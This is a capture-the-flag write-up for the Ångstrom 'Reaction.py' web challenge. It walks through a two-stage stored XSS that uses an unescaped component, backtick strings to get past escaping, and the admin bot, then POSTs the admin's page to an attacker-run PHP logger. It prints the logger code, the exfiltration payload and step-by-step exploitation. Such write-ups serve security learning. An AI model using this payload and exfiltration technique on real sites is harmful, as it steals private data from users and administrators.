Ångstrom - Reaction.py

   Could have not solved this without the hard work and patience of my teammate Castilho

   The initial thing to note is that from the source code the flag is placed within the admin's "bucket". The following code snippet shows this, having greater significance later in the exploitation. This did inform us that we will need to somehow access the admin's resources that are saved in the website.

  
accounts = {
    "admin": {
        "username": "admin",
        "pw": admin_password,
        "bucket": [f"

{escape(flag)}

"], "mutex": Lock(), } }

   Digging through the code reveals premade html templates called 'components'. These components can be rendered onto the page alongside supplied input. Further inspection of the "freq" component shows it does not escape additional text input. Two problems arise while abusing the freq component. First the freq component will not inject repeated characters. Secondly, extra text is appended after the payload which causes Javascript errors.

	
def add_component(name, cfg, bucket):
    if not name or not cfg:
        return (ERR, "Missing parameters")
    if len(bucket) >= 2:
        return (ERR, "Bucket too large (our servers aren't very good :((((()")
    if len(cfg) > 250:
        return (ERR, "Config too large (our servers aren't very good :((((()")
    if name == "welcome":
        if len(bucket) > 0:
            return (ERR, "Welcomes can only go at the start")
        bucket.append(
            """
            <form action="/newcomp" method="POST"gt;
                <input type="text" name="name" placeholder="component name">
                <input type="text" name="cfg" placeholder="component config">
                <input type="submit" value="create component">
            </form>
            <form action="/reset" method="POST">
                <p>warning: resetting components gets rid of this form for some reason</p>
                <input type="submit" value="reset components">
            </form>
            <form action="/contest" method="POST">
                <div class="g-recaptcha" data-sitekey="{}"></div>
                <input type="submit" value="submit site to contest">
            </form>
            <p>Welcome <strong>{}</strong>!</p>
	    """.format(
                captcha.get("sitekey"), escape(cfg)
            ).strip()
        )
    elif name == "char_count":
        bucket.append(
            "<p>{}<]/p>".format(
                escape(
                    f"<strong>{len(cfg)}<]/strong> characters and <strong>{len(cfg.split())}</strong> words"
                )
            )
        )
    elif name == "text":
        bucket.append("<p>{}</p>".format(escape(cfg)))
    elif name == "freq":
        counts = Counter(cfg)
        (char, freq) = max(counts.items(), key=lambda x: x[1])
        bucket.append(
            "<p>All letters: {}<]br>Most frequent: '{}'x{}</p>".format(
                "".join(counts), char, freq
            )
        )
    else:
        return (ERR, "Invalid component name")
    return (OK, bucket)
	
  

inspection of unescaped "freq" component vs escaped "text" component

   We are only able to submit one component to the server. Closer inspection of the reset endpoint reveals that the submission form on the page by default, is itself a component. Hitting the reset endpoint allows us to submit two components. With two components we can craft a two stage payload which solves the previously mentioned issues via a text component as the second stage.

payload

web page after payload injection

    After resetting the components, the images above show what the first stage of the payload will be. This payload was sent by saving an initial request to newcomp before the reset. Simply reusing the saved request as the submission button is gone after the reset. Now for the second stage of the payload.

    The second stage will be sent as a text component so there can be repeated characters. The payload must begin with '*/' and end with '//' to handle any text the server will append. Noticing the report endpoint gives a hint about what code needs to be executed to get the flag. Upon hitting the report endpoint an admin bot will visit our page. Unfortunately the session cookie is untouchable as it is marked to be HttpOnly.

inspecting the site's cookies

    The code for the admin bot's functionality is provided. A local web server is mentioned in the code. If it looks like a CSRF, smells like a CSRF, it's gonna be a long challenge. We make the assumption that a cross origin request will be allowed from the local server. From the source code we know that the flag is in one of the admin's own components. Remember that going to the '/' endpoint will load all components for the user making the request.The process for exploitation is outlined below.

admin bot's functionality & local server reference

exploitation workflow

    Working backwards from that flow chart we begin by making a php endpoint on our evil website which will log any data posted to it. This php file is shown below and was located at maxdamage.dev/evil.php.

    
file_put_contents( "debug", $_POST['x'], FILE_APPEND );
echo $_POST['x'];
    

    This endpoint was tested by running the script below in the Firefox dev console. Then cat'ing the debug file located on the evil web server.

    
let f = new FormData();
f.append( 'x', 'HELLOWORLD' );

fetch( 'https://maxdamage.dev/evil.php',{method:'POST', body: f})
.then((r)=>{
	return r.text
})
.then((r)=>{
	console.log(r);
});
    
  

   Onto crafting the second stage payload. It is limited to 250 chars and there's a lot to write. We will make one fetch request to the challenge's local server. Then take the full html response from that request and send that as our post data to the evil endpoint we control. We ran into a major problem here by attempting to append the html text to our FormData object BEFORE the fetch to the local server. So we just kept getting our own components back. The second stage payload is shown below, recall that this (like the first stage) goes into the 'cfg' key of the request body.

    
*/var f=new FormData()
fetch('http://127.0.0.1:8080/?fakeuser=admin').then(function(r){return r.text();}).then( function(r){f.append('x',r); fetch('https://maxdamage.dev/evil.php',{method:'POST',body:f})}).then(function(r){coog(``)})//
    

   But there is a major problem here! Recall that the freq component is the ONLY one which allows unescaped input. That's right the text component escapes any text sent it's way. Specifically the quotation marks we send get all sorts are messed up. Javascript is a wild and untamed beast so there has to be a few alternatives. So let's look at documentation for the Javascript strings.

MDN String documentation

   Looks like the '`' character is the best alternative to quotes. That can be confirmed by looking at Flask's documentation for the escape function.

Flask.escape() documentation

   By using the backtick character as string syntax in our payload we are able to use strings without issue. Now finally we are able to solve the challenge in 6 steps.
Step 1) Capture a test request to /newcomp for creating a component
Step 2) Hit and capture a test request to /report to trigger the admin bot for later reuse
Step 2) Hit the /reset endpoint
Step 3) Reuse the /newcomp request to submit a freq component with the first stage payload as it's cfg value
Step 4) Reuse the /newcomp request to submit a text component with the second stage payload as it's cfg value
Step 5) Run the /report request which was captured in step 2
Step 6) Check the log file of the evil endpoint!

results of 'cat debug'